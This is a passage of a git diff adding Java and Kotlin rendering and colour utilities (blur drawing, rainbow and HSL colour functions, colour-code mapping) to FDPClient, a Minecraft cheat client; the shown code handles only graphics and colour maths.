GlStateManager.disableLighting() + GlStateManager.disableAlpha() + frbuffer.bindFramebufferTexture() + GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F) + val f2 = frbuffer.framebufferWidth.toDouble() / frbuffer.framebufferTextureWidth.toDouble() + val f3 = frbuffer.framebufferHeight.toDouble() / frbuffer.framebufferTextureHeight.toDouble() + val tessellator = Tessellator.getInstance() + val worldrenderer = tessellator.worldRenderer + worldrenderer.begin(7, DefaultVertexFormats.POSITION_TEX_COLOR) + worldrenderer.pos(0.0, height.toDouble(), 0.0).tex(0.0, 0.0).color(255, 255, 255, 255).endVertex() + worldrenderer.pos(width.toDouble(), height.toDouble(), 0.0).tex(f2, 0.0).color(255, 255, 255, 255).endVertex() + worldrenderer.pos(width.toDouble(), 0.0, 0.0).tex(f2, f3).color(255, 255, 255, 255).endVertex() + worldrenderer.pos(0.0, 0.0, 0.0).tex(0.0, f3).color(255, 255, 255, 255).endVertex() + tessellator.draw() + frbuffer.unbindFramebufferTexture() + GlStateManager.enableDepth() + GlStateManager.depthMask(true) + GlStateManager.colorMask(true, true, true, true) + GlStateManager.popMatrix() + GlStateManager.disableBlend() + + Stencil.dispose() + GlStateManager.enableAlpha() + } + + @JvmStatic + fun blurArea(x: Float, y: Float, x2: Float, y2: Float, blurStrength: Float) = blur(x, y, x2, y2, blurStrength, false) { + GlStateManager.enableBlend() + GlStateManager.disableTexture2D() + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0) + RenderUtils.quickDrawRect(x, y, x2, y2) + GlStateManager.enableTexture2D() + GlStateManager.disableBlend() + } + @JvmStatic + fun blurAreaRounded(x: Float, y: Float, x2: Float, y2: Float, rad: Float, blurStrength: Float) = blur(x, y, x2, y2, blurStrength, false) { + GlStateManager.enableBlend() + GlStateManager.disableTexture2D() + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0) + RenderUtils.fastRoundedRect(x, y, x2, y2, rad) + GlStateManager.enableTexture2D() + GlStateManager.disableBlend() + } + private fun sizeHasChanged(scaleFactor: Int, width: Int, height: Int): Boolean = (lastFactor != scaleFactor || lastWidth != width || lastHeight != height) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/ColorManager.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/ColorManager.java new file mode 100644 index 0000000..4f66f5f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/ColorManager.java @@ -0,0 +1,17 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render; + +import java.awt.*; + +public class ColorManager { + + public static int astolfoRainbow(int delay, int offset, int index) { + double rainbowDelay = Math.ceil(System.currentTimeMillis() + (long)((long) delay * index)) / offset; + return Color.getHSBColor((double)((float)((rainbowDelay %= 360.0) / 360.0)) < 0.5 ? -((float)(rainbowDelay / 360.0)) : (float)(rainbowDelay / 360.0), 0.5F, 1.0F).getRGB(); + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/ColorUtil.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/ColorUtil.java new file mode 100644 index 0000000..848be54 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/ColorUtil.java @@ -0,0 +1,258 @@ +package net.ccbluex.liquidbounce.utils.render; + +import java.awt.*; +import java.awt.image.BufferedImage; + +import static net.ccbluex.liquidbounce.utils.MathUtils.interpolateFloat; +import static net.ccbluex.liquidbounce.utils.MathUtils.interpolateInt; + + +public class ColorUtil { + + public static Color tripleColor(int rgbValue) { + return tripleColor(rgbValue, 1); + } + + public static Color tripleColor(int rgbValue, float alpha) { + alpha = Math.min(1, Math.max(0, alpha)); + return new Color(rgbValue, rgbValue, rgbValue, (int) (255 * alpha)); + } + + + public static Color[] getAnalogousColor(Color color) { + Color[] colors = new Color[2]; + float[] hsb = Color.RGBtoHSB(color.getRed(), color.getGreen(), color.getBlue(), null); + + float degree = 30 / 360f; + + float newHueAdded = hsb[0] + degree; + colors[0] = new Color(Color.HSBtoRGB(newHueAdded, hsb[1], hsb[2])); + + float newHueSubtracted = hsb[0] - degree; + + colors[1] = new Color(Color.HSBtoRGB(newHueSubtracted, hsb[1], hsb[2])); + + return colors; + } + + + public static Color getRandomColor() { + return new Color(Color.HSBtoRGB((float) Math.random(), (float) (.5 + Math.random() / 2), (float) (.5 + Math.random() / 2f))); + } + + //RGB TO HSL AND HSL TO RGB FOUND HERE: https://gist.github.com/mjackson/5311256 + public static Color hslToRGB(float[] hsl) { + float red, green, blue; + + if (hsl[1] == 0) { + red = green = blue = 1; + } else { + float q = hsl[2] < .5 ? hsl[2] * (1 + hsl[1]) : hsl[2] + hsl[1] - hsl[2] * hsl[1]; + float p = 2 * hsl[2] - q; + + red = hueToRGB(p, q, hsl[0] + 1 / 3f); + green = hueToRGB(p, q, hsl[0]); + blue = hueToRGB(p, q, hsl[0] - 1 / 3f); + } + + red *= 255; + green *= 255; + blue *= 255; + + return new Color((int) red, (int) green, (int) blue); + } + + + public static float hueToRGB(float p, float q, float t) { + float newT = t; + if (newT < 0) newT += 1; + if (newT > 1) newT -= 1; + if (newT < 1 / 6f) return p + (q - p) * 6 * newT; + if (newT < .5f) return q; + if (newT < 2 / 3f) return p + (q - p) * (2 / 3f - newT) * 6; + return p; + } + + public static float[] rgbToHSL(Color rgb) { + float red = rgb.getRed() / 255f; + float green = rgb.getGreen() / 255f; + float blue = rgb.getBlue() / 255f; + + float max = Math.max(Math.max(red, green), blue); + float min = Math.min(Math.min(red, green), blue); + float c = (max + min) / 2f; + float[] hsl = new float[]{c, c, c}; + + if (max == min) { + hsl[0] = hsl[1] = 0; + } else { + float d = max - min; + hsl[1] = hsl[2] > .5 ? d / (2 - max - min) : d / (max + min); + + if (max == red) { + hsl[0] = (green - blue) / d + (green < blue ? 6 : 0); + } else if (max == blue) { + hsl[0] = (blue - red) / d + 2; + } else if (max == green) { + hsl[0] = (red - green) / d + 4; + } + hsl[0] /= 6; + } + return hsl; + } + + + public static Color imitateTransparency(Color backgroundColor, Color accentColor, float percentage) { + return new Color(ColorUtil.interpolateColor(backgroundColor, accentColor, (255 * percentage) / 255)); + } + + public static int applyOpacity(int color, float opacity) { + Color old = new Color(color); + return applyOpacity(old, opacity).getRGB(); + } + + //Opacity value ranges from 0-1 + public static Color applyOpacity(Color color, float opacity) { + opacity = Math.min(1, Math.max(0, opacity)); + return new Color(color.getRed(), color.getGreen(), color.getBlue(), (int) (color.getAlpha() * opacity)); + } + + public static Color darker(Color color, float FACTOR) { + return new Color(Math.max((int) (color.getRed() * FACTOR), 0), + Math.max((int) (color.getGreen() * FACTOR), 0), + Math.max((int) (color.getBlue() * FACTOR), 0), + color.getAlpha()); + } + + public static Color brighter(Color color, float FACTOR) { + int r = color.getRed(); + int g = color.getGreen(); + int b = color.getBlue(); + int alpha = color.getAlpha(); + + /* From 2D group: + * 1. black.brighter() should return grey + * 2. applying brighter to blue will always return blue, brighter + * 3. non pure color (non zero rgb) will eventually return white + */ + int i = (int) (1.0 / (1.0 - FACTOR)); + if (r == 0 && g == 0 && b == 0) { + return new Color(i, i, i, alpha); + } + if (r > 0 && r < i) r = i; + if (g > 0 && g < i) g = i; + if (b > 0 && b < i) b = i; + + return new Color(Math.min((int) (r / FACTOR), 255), + Math.min((int) (g / FACTOR), 255), + Math.min((int) (b / FACTOR), 255), + alpha); + } + + /** + * This method gets the average color of an image + * performance of this goes as O((width * height) / step) + */ + public static Color averageColor(BufferedImage bi, int width, int height, int pixelStep) { + int[] color = new int[3]; + for (int x = 0; x < width; x += pixelStep) { + for (int y = 0; y < height; y += pixelStep) { + Color pixel = new Color(bi.getRGB(x, y)); + color[0] += pixel.getRed(); + color[1] += pixel.getGreen(); + color[2] += pixel.getBlue(); + } + } + int num = (width * height) / (pixelStep * pixelStep); + return new Color(color[0] / num, color[1] / num, color[2] / num); + } + + public static Color rainbow(int speed, int index, float saturation, float brightness, float opacity) { + int angle = (int) ((System.currentTimeMillis() / speed + index) % 360); + float hue = angle / 360f; + Color color = new Color(Color.HSBtoRGB(hue, saturation, brightness)); + return new Color(color.getRed(), color.getGreen(), color.getBlue(), Math.max(0, Math.min(255, (int) (opacity * 255)))); + } + + public static Color interpolateColorsBackAndForth(int speed, int index, Color start, Color end, boolean trueColor) { + int angle = (int) (((System.currentTimeMillis()) / speed + index) % 360); + angle = (angle >= 180 ? 360 - angle : angle) * 2; + return trueColor ? ColorUtil.interpolateColorHue(start, end, angle / 360f) : ColorUtil.interpolateColorC(start, end, angle / 360f); + } + + //The next few methods are for interpolating colors + public static int interpolateColor(Color color1, Color color2, float amount) { + amount = Math.min(1, Math.max(0, amount)); + return interpolateColorC(color1, color2, amount).getRGB(); + } + + public static int interpolateColor(int color1, int color2, float amount) { + amount = Math.min(1, Math.max(0, amount)); + Color cColor1 = new Color(color1); + Color cColor2 = new Color(color2); + return interpolateColorC(cColor1, cColor2, amount).getRGB(); + } + + public static Color interpolateColorC(Color color1, Color color2, float amount) { + amount = Math.min(1, Math.max(0, amount)); + return new Color(interpolateInt(color1.getRed(), color2.getRed(), amount), + interpolateInt(color1.getGreen(), color2.getGreen(), amount), + interpolateInt(color1.getBlue(), color2.getBlue(), amount), + interpolateInt(color1.getAlpha(), color2.getAlpha(), amount)); + } + + public static Color interpolateColorHue(Color color1, Color color2, float amount) { + amount = Math.min(1, Math.max(0, amount)); + + float[] color1HSB = Color.RGBtoHSB(color1.getRed(), color1.getGreen(), color1.getBlue(), null); + float[] color2HSB = Color.RGBtoHSB(color2.getRed(), color2.getGreen(), color2.getBlue(), null); + + Color resultColor = Color.getHSBColor(interpolateFloat(color1HSB[0], color2HSB[0], amount), + interpolateFloat(color1HSB[1], color2HSB[1], amount), interpolateFloat(color1HSB[2], color2HSB[2], amount)); + + return ColorUtil.applyOpacity(resultColor, interpolateInt(color1.getAlpha(), color2.getAlpha(), amount) / 255f); + } + + + //Fade a color in and out with a specified alpha value ranging from 0-1 + public static Color fade(int speed, int index, Color color, float alpha) { + float[] hsb = Color.RGBtoHSB(color.getRed(), color.getGreen(), color.getBlue(), null); + int angle = (int) ((System.currentTimeMillis() / speed + index) % 360); + angle = (angle > 180 ? 360 - angle : angle) + 180; + + Color colorHSB = new Color(Color.HSBtoRGB(hsb[0], hsb[1], angle / 360f)); + + return new Color(colorHSB.getRed(), colorHSB.getGreen(), colorHSB.getBlue(), Math.max(0, Math.min(255, (int) (alpha * 255)))); + } + + + private static float getAnimationEquation(int index, int speed) { + int angle = (int) ((System.currentTimeMillis() / speed + index) % 360); + return ((angle > 180 ? 360 - angle : angle) + 180) / 360f; + } + + public static int[] createColorArray(int color) { + return new int[]{bitChangeColor(color, 16), bitChangeColor(color, 8), bitChangeColor(color, 0), bitChangeColor(color, 24)}; + } + + public static int getOppositeColor(int color) { + int R = bitChangeColor(color, 0); + int G = bitChangeColor(color, 8); + int B = bitChangeColor(color, 16); + int A = bitChangeColor(color, 24); + R = 255 - R; + G = 255 - G; + B = 255 - B; + return R + (G << 8) + (B << 16) + (A << 24); + } + + public static Color getOppositeColor(Color color) { + return new Color(getOppositeColor(color.getRGB())); + } + + + private static int bitChangeColor(int color, int bitChange) { + return (color >> bitChange) & 255; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/ColorUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/render/ColorUtils.kt new file mode 100644 index 0000000..06046b7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/ColorUtils.kt @@ -0,0 +1,454 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render + +import com.ibm.icu.text.NumberFormat +import net.ccbluex.liquidbounce.features.module.modules.client.HUD +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.util.ChatAllowedCharacters +import org.lwjgl.opengl.GL11 +import java.awt.Color +import java.util.* +import java.util.regex.Pattern +import kotlin.math.abs +import kotlin.math.ceil +import kotlin.math.max +import kotlin.math.min + +object ColorUtils { + + private val COLOR_PATTERN = Pattern.compile("(?i)§[0-9A-FK-OR]") + private val startTime = System.currentTimeMillis() + + @JvmField + val hexColors = IntArray(16) + + init { + repeat(16) { i -> + val baseColor = (i shr 3 and 1) * 85 + + val red = (i shr 2 and 1) * 170 + baseColor + if (i == 6) 85 else 0 + val green = (i shr 1 and 1) * 170 + baseColor + val blue = (i and 1) * 170 + baseColor + + hexColors[i] = red and 255 shl 16 or (green and 255 shl 8) or (blue and 255) + } + } + @JvmStatic + fun stripColor(input: String): String { + return COLOR_PATTERN.matcher(input).replaceAll("") + } + + @JvmStatic + fun setColor(color: Int) { + setColorAlpha(color) + } + @JvmStatic + fun setColour(colour: Int) { + val a = (colour shr 24 and 0xFF) / 255.0f + val r = (colour shr 16 and 0xFF) / 255.0f + val g = (colour shr 8 and 0xFF) / 255.0f + val b = (colour and 0xFF) / 255.0f + GL11.glColor4f(r, g, b, a) + } + + private fun setColorAlpha(color: Int) { + val alpha = (color shr 24 and 255) / 255f + val red = (color shr 16 and 255) / 255f + val green = (color shr 8 and 255) / 255f + val blue = (color and 255) / 255f + GlStateManager.color(red, green, blue, alpha) + } + + @JvmStatic + fun translateAlternateColorCodes(textToTranslate: String): String { + val chars = textToTranslate.toCharArray() + + for (i in 0 until chars.size - 1) { + if (chars[i] == '&' && "0123456789AaBbCcDdEeFfKkLlMmNnOoRr".contains(chars[i + 1], true)) { + chars[i] = '§' + chars[i + 1] = Character.toLowerCase(chars[i + 1]) + } + } + + return String(chars) + } + @JvmStatic + fun LiquidSlowly(time: Long, count: Int, qd: Float, sq: Float): Color { + val color = Color(Color.HSBtoRGB((time.toFloat() + count * 3000000f) / 2 / 1.0E9f, qd, sq)) + return Color(color.red / 255.0f * 1, color.green / 255.0f * 1, color.blue / 255.0f * 1, color.alpha / 255.0f) + } + + fun randomMagicText(text: String): String { + val stringBuilder = StringBuilder() + val allowedCharacters = "\u00c0\u00c1\u00c2\u00c8\u00ca\u00cb\u00cd\u00d3\u00d4\u00d5\u00da\u00df\u00e3\u00f5\u011f\u0130\u0131\u0152\u0153\u015e\u015f\u0174\u0175\u017e\u0207\u0000\u0000\u0000\u0000\u0000\u0000\u0000 !\"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\u0000\u00c7\u00fc\u00e9\u00e2\u00e4\u00e0\u00e5\u00e7\u00ea\u00eb\u00e8\u00ef\u00ee\u00ec\u00c4\u00c5\u00c9\u00e6\u00c6\u00f4\u00f6\u00f2\u00fb\u00f9\u00ff\u00d6\u00dc\u00f8\u00a3\u00d8\u00d7\u0192\u00e1\u00ed\u00f3\u00fa\u00f1\u00d1\u00aa\u00ba\u00bf\u00ae\u00ac\u00bd\u00bc\u00a1\u00ab\u00bb\u2591\u2592\u2593\u2502\u2524\u2561\u2562\u2556\u2555\u2563\u2551\u2557\u255d\u255c\u255b\u2510\u2514\u2534\u252c\u251c\u2500\u253c\u255e\u255f\u255a\u2554\u2569\u2566\u2560\u2550\u256c\u2567\u2568\u2564\u2565\u2559\u2558\u2552\u2553\u256b\u256a\u2518\u250c\u2588\u2584\u258c\u2590\u2580\u03b1\u03b2\u0393\u03c0\u03a3\u03c3\u03bc\u03c4\u03a6\u0398\u03a9\u03b4\u221e\u2205\u2208\u2229\u2261\u00b1\u2265\u2264\u2320\u2321\u00f7\u2248\u00b0\u2219\u00b7\u221a\u207f\u00b2\u25a0\u0000" + + for (c in text.toCharArray()) { + if (ChatAllowedCharacters.isAllowedCharacter(c)) { + val index = Random().nextInt(allowedCharacters.length) + stringBuilder.append(allowedCharacters.toCharArray()[index]) + } + } + + return stringBuilder.toString() + } + + @JvmStatic + fun getOppositeColor(color: Color): Color = Color(255 - color.red, 255 - color.green, 255 - color.blue, color.alpha) + + fun colorCode(code: String, alpha: Int = 255): Color { + when (code.lowercase()) { + "0" -> { + return Color(0, 0, 0, alpha) + } + "1" -> { + return Color(0, 0, 170, alpha) + } + "2" -> { + return Color(0, 170, 0, alpha) + } + "3" -> { + return Color(0, 170, 170, alpha) + } + "4" -> { + return Color(170, 0, 0, alpha) + } + "5" -> { + return Color(170, 0, 170, alpha) + } + "6" -> { + return Color(255, 170, 0, alpha) + } + "7" -> { + return Color(170, 170, 170, alpha) + } + "8" -> { + return Color(85, 85, 85, alpha) + } + "9" -> { + return Color(85, 85, 255, alpha) + } + "a" -> { + return Color(85, 255, 85, alpha) + } + "b" -> { + return Color(85, 255, 255, alpha) + } + "c" -> { + return Color(255, 85, 85, alpha) + } + "d" -> { + return Color(255, 85, 255, alpha) + } + "e" -> { + return Color(255, 255, 85, alpha) + } + else -> { + return Color(255, 255, 255, alpha) + } + } + } + + fun blend(color1: Color, color2: Color, ratio: Double): Color? { + val r = ratio.toFloat() + val ir = 1.0f - r + val rgb1 = FloatArray(3) + val rgb2 = FloatArray(3) + color1.getColorComponents(rgb1) + color2.getColorComponents(rgb2) + var red = rgb1[0] * r + rgb2[0] * ir + var green = rgb1[1] * r + rgb2[1] * ir + var blue = rgb1[2] * r + rgb2[2] * ir + if (red < 0.0f) { + red = 0.0f + } else if (red > 255.0f) { + red = 255.0f + } + if (green < 0.0f) { + green = 0.0f + } else if (green > 255.0f) { + green = 255.0f + } + if (blue < 0.0f) { + blue = 0.0f + } else if (blue > 255.0f) { + blue = 255.0f + } + var color3: Color? = null + try { + color3 = Color(red, green, blue) + } catch (exp: IllegalArgumentException) { + val nf = NumberFormat.getNumberInstance() + // System.out.println(nf.format(red) + "; " + nf.format(green) + "; " + nf.format(blue)); + exp.printStackTrace() + } + return color3 + } + + fun blendColors(fractions: FloatArray?, colors: Array<Color>?, progress: Float): Color? { + requireNotNull(fractions) { "Fractions can't be null" } + requireNotNull(colors) { "Colours can't be null" } + if (fractions.size == colors.size) { + val getFractionBlack = getFraction(fractions, progress) + val range = floatArrayOf(fractions[getFractionBlack[0]], fractions[getFractionBlack[1]]) + val colorRange = arrayOf(colors[getFractionBlack[0]], colors[getFractionBlack[1]]) + val max = range[1] - range[0] + val value = progress - range[0] + val weight = value / max + return blend(colorRange[0], colorRange[1], (1.0f - weight).toDouble()) + } + throw IllegalArgumentException("Fractions and colours must have equal number of elements") + } + + fun getFraction(fractions: FloatArray, progress: Float): IntArray { + var startPoint: Int + val range = IntArray(2) + startPoint = 0 + while (startPoint < fractions.size && fractions[startPoint] <= progress) { + ++startPoint + } + if (startPoint >= fractions.size) { + startPoint = fractions.size - 1 + } + range[0] = startPoint - 1 + range[1] = startPoint + return range + } + + fun getColor(hueoffset: Float, saturation: Float, brightness: Float): Int { + val speed = 4500f + val hue = System.currentTimeMillis() % speed.toInt() / speed + return Color.HSBtoRGB(hue - hueoffset / 54, saturation, brightness) + } + + @JvmStatic + fun hslRainbow( + index: Int, + lowest: Float = HUD.rainbowStartValue.get(), + bigest: Float = HUD.rainbowStopValue.get(), + indexOffset: Int = 300, + timeSplit: Int = HUD.rainbowSpeedValue.get(), + saturation: Float = HUD.rainbowSaturationValue.get(), + brightness: Float = HUD.rainbowBrightnessValue.get() + ): Color { + return Color.getHSBColor((abs(((((System.currentTimeMillis() - startTime).toInt() + index * indexOffset) / timeSplit.toFloat()) % 2) - 1) * (bigest - lowest)) + lowest, saturation, brightness) + } + + fun interpolate(oldValue: Double, newValue: Double, interpolationValue: Double): Double? { + return oldValue + (newValue - oldValue) * interpolationValue + } + + fun interpolateFloat(oldValue: Float, newValue: Float, interpolationValue: Double): Float { + return net.ccbluex.liquidbounce.utils.render.ColorUtils.interpolate(oldValue.toDouble(), newValue.toDouble(), interpolationValue.toFloat().toDouble())!!.toFloat() + } + fun interpolateColorHue(color1: Color, color2: Color, amount: Float): Color? { + var amount = amount + amount = Math.min(1f, Math.max(0f, amount)) + val color1HSB = Color.RGBtoHSB(color1.red, color1.green, color1.blue, null) + val color2HSB = Color.RGBtoHSB(color2.red, color2.green, color2.blue, null) + val resultColor = Color.getHSBColor(interpolateFloat(color1HSB[0], color2HSB[0], amount.toDouble()), interpolateFloat(color1HSB[1], color2HSB[1], amount.toDouble()), interpolateFloat(color1HSB[2], color2HSB[2], amount.toDouble())) + + return Color(resultColor.red, resultColor.green, resultColor.blue, interpolateInt(color1.alpha, color2.alpha, amount.toDouble())) + + } + + @JvmStatic + fun astolfoRainbow2(counter: Int, alpha: Int): Int { + val width = 110 + var rainbowState = Math.ceil((System.currentTimeMillis() - counter.toLong() * width).toDouble()) / 11 + rainbowState %= 360.0 + val hue = + if ((rainbowState / 360).toFloat() < 0.5) -(rainbowState / 360).toFloat() else (rainbowState / 360).toFloat() + val color = Color.getHSBColor(hue, 0.7f, 1f) + return Color(color.red, color.green, color.blue, alpha).rgb + } + + @JvmStatic + fun astolfoRainbow2(offset: Int, distance: Float, speedl: Float): Color? { + val speed = (30 * 100).toFloat() + var hue = System.currentTimeMillis() % speed.toInt() + (distance - offset) * speedl + while (hue > speed) { + hue -= speed + } + hue /= speed + if (hue > 0.5) hue = 0.5f - (hue - 0.5f) + hue += 0.5f + return Color.getHSBColor(hue, 0.4f, 1f) + } + + @JvmStatic + fun astolfoRainbow(offset: Int): Color? { + val speed = (30 * 100).toFloat() + var hue = (System.currentTimeMillis() % speed.toInt() + offset).toFloat() + while (hue > speed) { + hue -= speed + } + hue /= speed + if (hue > 0.5) hue = 0.5f - (hue - 0.5f) + hue += 0.5f + return Color.getHSBColor(hue, 0.4f, 1f) + } + + @JvmStatic + fun hsbTransition(from: Float, to: Float, angle: Int, s: Float = 1f, b: Float = 1f): Color { + return Color.getHSBColor( + if (angle < 180) from + (to - from) * (angle / 180f) + else from + (to - from) * (-(angle - 360) / 180f), s, b) + } + + fun getAnalogousColor(color: Color): Array<Color?>? { + val colors = arrayOfNulls<Color>(2) + val hsb = Color.RGBtoHSB(color.red, color.green, color.blue, null) + val degree = 30 / 360f + val newHueAdded = hsb[0] + degree + colors[0] = Color(Color.HSBtoRGB(newHueAdded, hsb[1], hsb[2])) + val newHueSubtracted = hsb[0] - degree + colors[1] = Color(Color.HSBtoRGB(newHueSubtracted, hsb[1], hsb[2])) + return colors + } + + @JvmStatic + fun interpolateInt(oldValue: Int, newValue: Int, interpolationValue: Double): Int { + return interpolate(oldValue.toDouble(), newValue.toDouble(), interpolationValue.toFloat().toDouble())!!.toInt() + } + + @JvmStatic + fun interpolateColorC(color1: Color, color2: Color, amount: Float): Color? { + var amount = amount + amount = Math.min(1f, Math.max(0f, amount)) + return Color( + interpolateInt(color1.red, color2.red, amount.toDouble()), + interpolateInt(color1.green, color2.green, amount.toDouble()), + interpolateInt(color1.blue, color2.blue, amount.toDouble()), + interpolateInt(color1.alpha, color2.alpha, amount.toDouble() + ) + ) + } + @JvmStatic + fun interpolateColorsBackAndForth(speed: Int, index: Int, start: Color?, end: Color?, trueColor: Boolean): Color? { + var angle = ((System.currentTimeMillis() / speed + index) % 360).toInt() + angle = (if (angle >= 180) 360 - angle else angle) * 2 + return if (trueColor) start?.let { + end?.let { it1 -> + interpolateColorHue(it, it1, angle / 360f) + } + } else start?.let { end?.let { it1 -> interpolateColorC(it, it1, angle / 360f) } } + } + + + @JvmStatic + fun rainbowc(speed: Int, index: Int, saturation: Float, brightness: Float, opacity: Float): Color? { + val angle = ((System.currentTimeMillis() / speed + index) % 360).toInt() + val hue = angle / 360f + val color = Color(Color.HSBtoRGB(hue, saturation, brightness)) + return Color(color.red, color.green, color.blue, Math.max(0, Math.min(255, (opacity * 255).toInt()))) + } + @JvmStatic + fun rainbow(): Color { + return hslRainbow(1) + } + + @JvmStatic + fun rainbow(index: Int): Color { + return hslRainbow(index) + } + + @JvmStatic + fun rainbow(alpha: Float) = reAlpha(hslRainbow(1), alpha) + + @JvmStatic + fun rainbowWithAlpha(alpha: Int) = reAlpha(hslRainbow(1), alpha) + + @JvmStatic + fun rainbow(index: Int, alpha: Int) = reAlpha(hslRainbow(index), alpha) + + @JvmStatic + fun rainbow(index: Int, alpha: Float) = reAlpha(hslRainbow(index), alpha) + + @JvmStatic + fun reAlpha(color: Color, alpha: Int): Color { + return Color(color.red, color.green, color.blue, alpha) + } + + @JvmStatic + fun reAlpha(color: Color, alpha: Float): Color { + return Color(color.red / 255f, color.green / 255f, color.blue / 255f, alpha) + } + + @JvmStatic + fun getRainbowOpaque(seconds: Int, saturation: Float, brightness: Float, index: Int): + Int { val hue = (System.currentTimeMillis() + index) % (seconds * 1000) / (seconds * 1000).toFloat() + return Color.HSBtoRGB(hue, saturation, brightness) + } + + @JvmStatic + fun slowlyRainbow(time: Long, count: Int, qd: Float, sq: Float): Color { + val color = Color(Color.HSBtoRGB((time.toFloat() + count * -3000000f) / 2 / 1.0E9f, qd, sq)) + return Color(color.red / 255.0f * 1, color.green / 255.0f * 1, color.blue / 255.0f * 1, color.alpha / 255.0f) + } + + @JvmStatic + fun skyRainbow(var2: Int, bright: Float, st: Float, speed: Double): Color { + var v1 = ceil(System.currentTimeMillis() / speed + var2 * 109L) / 5 + return Color.getHSBColor(if ((360.0.also { v1 %= it } / 360.0) <0.5) { -(v1 / 360.0).toFloat() } else { (v1 / 360.0).toFloat() }, st, bright) + } + + @JvmStatic + fun StaticRainbow(speed: Int, index: Int): Color { + var angle = ((System.currentTimeMillis() / speed + index) % 360).toInt() + val hue = angle / 360f + return Color.getHSBColor(if ((360.0.also { (angle).toInt() } / 360.0).toFloat().toDouble() < 0.5) -(angle / 360.0).toFloat() else (angle / 360.0).toFloat(), 0.5f, 1.0f) + } + + @JvmStatic + fun Astolfo(var2: Int, st: Float, bright: Float): Int { + var currentColor = Math.ceil((System.currentTimeMillis() + (var2 * 130).toLong()).toDouble()) / 6 + return Color.getHSBColor(if ((360.0.also { currentColor %= it } / 360.0).toFloat() + .toDouble() < 0.5) -(currentColor / 360.0).toFloat() else (currentColor / 360.0).toFloat(), st, bright).rgb + } + + @JvmStatic + fun otherAstolfo(delay: Int, offset: Int, index: Int): Int { + var rainbowDelay = Math.ceil((System.currentTimeMillis() + (delay * index).toLong()).toDouble()) / offset + return Color.getHSBColor(if ((360.0.also { rainbowDelay %= it } / 360.0).toFloat() + .toDouble() < 0.5) -(rainbowDelay / 360.0).toFloat() else (rainbowDelay / 360.0).toFloat(), 0.5f, 1.0f).rgb + } + + @JvmStatic + fun fade(color: Color, index: Int, count: Int): Color { + val hsb = FloatArray(3) + Color.RGBtoHSB(color.red, color.green, color.blue, hsb) + var brightness = + abs(((System.currentTimeMillis() % 2000L).toFloat() / 1000.0f + index.toFloat() / count.toFloat() * 2.0f) % 2.0f - 1.0f) + brightness = 0.5f + 0.5f * brightness + hsb[2] = brightness % 2.0f + return Color(Color.HSBtoRGB(hsb[0], hsb[1], hsb[2])) + } + + fun reverseColor(color: Color) = Color(255 - color.red, 255 - color.green, 255 - color.blue, color.alpha) + + fun healthColor(hp: Float, maxHP: Float, alpha: Int = 255): Color { + val pct = ((hp / maxHP) * 255F).toInt() + return Color(max(min(255 - pct, 255), 0), max(min(pct, 255), 0), 0, alpha) + } + + fun darker(color: Color, percentage: Float): Color { + return Color((color.red * percentage).toInt(), (color.green * percentage).toInt(), (color.blue * percentage).toInt(), (color.alpha * percentage).toInt()) + } + + fun mixColors(color1: Color, color2: Color, percent: Float): Color { + return Color(color1.red + ((color2.red - color1.red) * percent).toInt(), color1.green + ((color2.green - color1.green) * percent).toInt(), color1.blue + ((color2.blue - color1.blue) * percent).toInt(), color1.alpha + ((color2.alpha - color1.alpha) * percent).toInt()) + } + + fun toRGB(n: Int, n2: Int, n3: Int, n4: Int): Int { + return (n4 and 0xFF shl 24) or (n3 and 0xFF shl 16) or (n2 and 0xFF shl 8) or (n and 0xFF) + } + + fun toRGB(f: Float, f2: Float, f3: Float, f4: Float): Int { + return toRGB((f * 255.0f).toInt(), (f2 * 255.0f).toInt(), (f3 * 255.0f).toInt(), (f4 * 255.0f).toInt()) + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/Colors.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/Colors.java new file mode 100644 index 0000000..581c8be --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/Colors.java @@ -0,0 +1,38 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render; + +public enum Colors { + WHITE(-65794), + GREY(-9868951); + + public final int c; + + Colors(int co) { + this.c = co; + } + + public static int getColor(int brightness) { + return getColor(brightness, brightness, brightness, 255); + } + + public static int getColor(int brightness, int alpha) { + return getColor(brightness, brightness, brightness, alpha); + } + + public static int getColor(int red, int green, int blue) { + return getColor(red, green, blue, 255); + } + + public static int getColor(int red, int green, int blue, int alpha) { + int color = 0; + color |= alpha << 24; + color |= red << 16; + color |= green << 8; + color |= blue; + return color; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/CombatRender.kt b/src/main/java/net/ccbluex/liquidbounce/utils/render/CombatRender.kt new file mode 100644 index 0000000..101ebbc --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/CombatRender.kt @@ -0,0 +1,335 @@ +package net.ccbluex.liquidbounce.utils.render + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.Render3DEvent +import 